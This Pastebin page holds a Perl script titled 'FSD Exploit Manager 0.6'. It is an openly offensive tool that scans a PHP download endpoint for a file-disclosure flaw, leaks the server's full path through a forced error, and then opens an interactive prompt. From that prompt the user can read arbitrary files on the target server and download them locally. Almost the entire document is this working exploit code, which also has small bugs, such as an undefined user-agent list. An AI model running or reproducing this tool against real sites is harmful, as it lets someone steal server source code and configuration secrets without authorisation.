Advertisement
Doddy

FSD Exploit Manager 0.6

Jan 1st, 2015
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.42 KB | None | 0 0
  1. #!usr/bin/perl
  2. #FSD Exploit Manager 0.6
  3. #(C) Doddy Hackman 2014
  4.  
  5. use Getopt::Long;
  6. use Color::Output;
  7. Color::Output::Init;
  8. use LWP::UserAgent;
  9. use URI::Split qw(uri_split);
  10. use File::Basename;
  11. use Cwd;
  12.  
  13. my $nave = LWP::UserAgent->new();
  14. $nave->agent( $agents[ rand @agents ] );
  15. $nave->timeout(5);
  16.  
  17. installer();
  18.  
  19. GetOptions(
  20.     "scan=s" => \$scan,
  21.     "fpd"    => \$fpd,
  22.     "logs"   => \$logs,
  23.     "open"   => \$open
  24. );
  25.  
  26. head();
  27.  
  28. if ($scan) {
  29.  
  30.     my $page = $scan;
  31.  
  32.     printear("\n[+] Scanning target : ");
  33.     print $page. "\n\n";
  34.  
  35.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  36.  
  37.     my $me = basename($path);
  38.  
  39.     $code1 = toma( $page . $me );
  40.     if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
  41.         printear_titulo("[+] Vulnerable\n");
  42.         $code2 = toma( $page . "'" );
  43.         if (   $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
  44.             or $code2 =~
  45.             /No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
  46.         {
  47.             my $ruta    = $1;
  48.             my $cambiar = basename($ruta);
  49.             $ruta =~ s/$cambiar//;
  50.  
  51.             my $prompt = "";
  52.  
  53.             if ($fpd) {
  54.                 printear("\n[+] Full Path Dislocure Detect : ");
  55.                 print $ruta. "\n";
  56.                 $prompt = "[" . $ruta . "] > ";
  57.             }
  58.             else {
  59.                 $prompt = "[prompt] > ";
  60.             }
  61.  
  62.             unless ( -d $auth ) {
  63.                 mkdir( $auth, "0777" );
  64.                 chmod 0777, $auth;
  65.             }
  66.             chdir($auth);
  67.  
  68.             printear("\n[+] File Downloader : ");
  69.             print "Ready\n";
  70.  
  71.             while (1) {
  72.                 $SIG{INT} = \&adios;
  73.                 printear_titulo( "\n" . $prompt );
  74.                 chomp( my $comando = <stdin> );
  75.                 if ( $comando =~ /!exit/ ) {
  76.                     adios();
  77.                 }
  78.                 elsif ( $comando =~ /!read_file (.*)/ ) {
  79.                     my $archivo = $1;
  80.                     my $code    = "";
  81.                     my $code    = toma( $page . $archivo );
  82.  
  83.                     printear_logo(
  84. "\n----------------------------------------------------\n"
  85.                     );
  86.                     printear_titulo($code);
  87.                     printear_logo(
  88. "\n----------------------------------------------------\n"
  89.                     );
  90.  
  91.                 }
  92.                 elsif ( $comando =~ /!download_file (.*)/ ) {
  93.                     my $archivo = $1;
  94.                     my $nombre  = basename($archivo);
  95.                     printear_titulo("\n[+] Downloading file : ");
  96.                     print $nombre. "\n";
  97.                     if ( $nave->mirror( $page . $archivo, $nombre ) ) {
  98.                         printear("\n[+] File Downloaded\n");
  99.                         if ($open) {
  100.                             my $abrir = getcwd() . "/" . $nombre;
  101.                             if ( -f $abrir ) {
  102.                                 abrir_archivo($abrir);
  103.                             }
  104.                             if ( !defined($logs) ) {
  105.                                 if ( -f $abrir ) {
  106.                                     unlink($abrir);
  107.                                 }
  108.                             }
  109.                         }
  110.  
  111.                     }
  112.                     else {
  113.                         printear("\n[-] File not downloaded\n");
  114.                     }
  115.                 }
  116.                 elsif ( $comando =~ /!help/ ) {
  117.                     printear( "\n[+] Commands : " . "\n\n" );
  118.                     printear("!download_file <file> : Download file\n");
  119.                     printear("!read_file <file> : Read File\n");
  120.                     printear("!help : Show commands\n");
  121.                     printear("!exit : To exit the program\n");
  122.                 }
  123.                 else {
  124.                     printear("\n[-] Command not found , try using !help\n");
  125.                 }
  126.  
  127.             }
  128.  
  129.         }
  130.     }
  131.     else {
  132.         printear_titulo("[-] Not vulnerable\n");
  133.     }
  134. }
  135. else {
  136.     sintax();
  137. }
  138.  
  139. copyright();
  140.  
  141. sub abrir_archivo {
  142.     my $os = $^O;
  143.     if ( $os =~ /Win32/ig ) {
  144.         system(qq(notepad.exe "$_[0]"));
  145.     }
  146.     else {
  147.         system(qq(gedit '$_[0]'));
  148.     }
  149. }
  150.  
  151. sub printear {
  152.     cprint( "\x036" . $_[0] . "\x030" );
  153. }
  154.  
  155. sub printear_logo {
  156.     cprint( "\x037" . $_[0] . "\x030" );
  157. }
  158.  
  159. sub printear_titulo {
  160.     cprint( "\x0310" . $_[0] . "\x030" );
  161. }
  162.  
  163. sub sintax {
  164.     printear("\n[+] Sintax : ");
  165.     print "perl $0 <option> <value>\n";
  166.     printear("\n[+] Options : \n\n");
  167.     print "-scan <page> : FSD Exploit Scanner\n";
  168.     print "-fpd : Check Full Path Discloure\n";
  169.     print "-logs : Enable logs to save files downloaded\n";
  170.     print "-open : Enable open files downloaded\n";
  171.     printear("\n[+] Example : ");
  172.     print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n";
  173.     copyright();
  174. }
  175.  
  176. sub installer {
  177.     unless ( -d "fsdlogs/" ) {
  178.         mkdir( "fsdlogs/", "777" );
  179.         chmod 0777, "fsdlogs/";
  180.     }
  181.     chdir("fsdlogs");
  182. }
  183.  
  184. sub adios {
  185.     printear_titulo("\n\n[+] Good Bye\n");
  186.     copyright();
  187. }
  188.  
  189. sub head {
  190.     printear_logo("\n-- == FSD Exploit Manager 0.6 == --\n\n");
  191. }
  192.  
  193. sub copyright {
  194.     printear_logo("\n\n-- == (C) Doddy Hackman 2014 == --\n");
  195.     exit(1);
  196. }
  197.  
  198. sub toma {
  199.     return $nave->get( $_[0] )->content;
  200. }
  201.  
  202. #The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement